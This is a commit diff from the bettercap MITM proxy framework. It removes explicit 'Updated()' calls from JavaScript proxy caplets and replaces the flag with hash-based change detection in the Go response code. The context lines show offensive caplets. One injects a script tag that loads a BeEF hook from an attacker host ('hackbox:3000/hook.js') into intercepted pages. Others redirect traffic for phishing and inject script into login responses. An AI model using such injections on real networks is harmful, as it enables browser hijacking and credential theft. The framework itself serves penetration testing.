fix: no more explicit call to that ugly Updated method from proxy js plugins

caplets/beef-inject.js

@@ -11,7 +11,6 @@ function onResponse(req, res) {
                 '</head>', 
                 '<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>' 
             ); 
-            res.Updated();
         }
     }
 }

caplets/fb-phish.js

@@ -19,6 +19,5 @@ function onRequest(req, res) {
         res.Status      = 301;
         res.Headers     = "Location: https://www.facebook.com/\n" +
                           "Connection: close";
-        res.Updated()
     }
 }

caplets/login-man-abuse.js

@@ -26,7 +26,6 @@ function onRequest(req, res) {
         res.ContentType = "text/html";
         res.Headers     = "Connection: close";
         res.Body        = "";
-        res.Updated();
     }
 }
 
@@ -42,7 +41,6 @@ function onResponse(req, res) {
                 '</script>' +
                 '</head>'
             ); 
-            res.Updated();
         }
     }
 }

caplets/proxy-script-test.js

@@ -18,8 +18,6 @@ function onRequest(req, res) {
                                 "<div align=\"center\">Hello world from bettercap-ng!</div>" + 
                             "</body>" +
                            "</html>";
-
-        res.Updated();
     }
 }
 
@@ -37,6 +35,5 @@ function onResponse(req, res) {
                                 "<div align=\"center\">Custom 404 from bettercap-ng.</div>" + 
                             "</body>" +
                            "</html>";
-        res.Updated();
     }
 }

caplets/web-override.js

@@ -5,6 +5,4 @@ function onRequest(req, res) {
     res.ContentType = "text/html";
     res.Headers     = "Connection: close";
     res.Body        =  readFile("caplets/www/index.html");
-
-    res.Updated();
 }

modules/http_proxy_js_response.go

@@ -1,6 +1,7 @@
 package modules
 
 import (
+	"fmt"
 	"io/ioutil"
 	"net/http"
 	"strings"
@@ -16,7 +17,7 @@ type JSResponse struct {
 	Headers     string
 	Body        string
 
-	wasUpdated bool
+	refHash string
 	resp    *http.Response
 }
 
@@ -33,16 +34,31 @@ func NewJSResponse(res *http.Response) *JSResponse {
 		}
 	}
 
-	return &JSResponse{
+	resp := &JSResponse{
 		Status:      res.StatusCode,
 		ContentType: cType,
 		Headers:     headers,
 		resp:        res,
 	}
+	resp.UpdateHash()
+
+	return resp
 }
 
-func (j *JSResponse) Updated() {
-	j.wasUpdated = true
+func (j *JSResponse) NewHash() string {
+	return fmt.Sprintf("%d.%s.%s.%s", j.Status, j.ContentType, j.Headers, j.Body)
+}
+
+func (j *JSResponse) UpdateHash() {
+	j.refHash = j.NewHash()
+}
+
+func (j *JSResponse) WasModified() bool {
+	newHash := j.NewHash()
+	if newHash != j.refHash {
+		return true
+	}
+	return false
 }
 
 func (j *JSResponse) ToResponse(req *http.Request) (resp *http.Response) {
@@ -71,6 +87,7 @@ func (j *JSResponse) ReadBody() string {
 	}
 
 	j.Body = string(raw)
+	j.UpdateHash()
 
 	return j.Body
 }

modules/http_proxy_script.go

@@ -168,7 +168,8 @@ func (s *ProxyScript) OnRequest(req *http.Request) *JSResponse {
 			return nil
 		}
 
-		if jsres.wasUpdated == true {
+		if jsres.WasModified() {
+			jsres.UpdateHash()
 			return jsres
 		}
 	}
@@ -193,7 +194,8 @@ func (s *ProxyScript) OnResponse(res *http.Response) *JSResponse {
 			return nil
 		}
 
-		if jsres.wasUpdated == true {
+		if jsres.WasModified() {
+			jsres.UpdateHash()
 			return jsres
 		}
 	}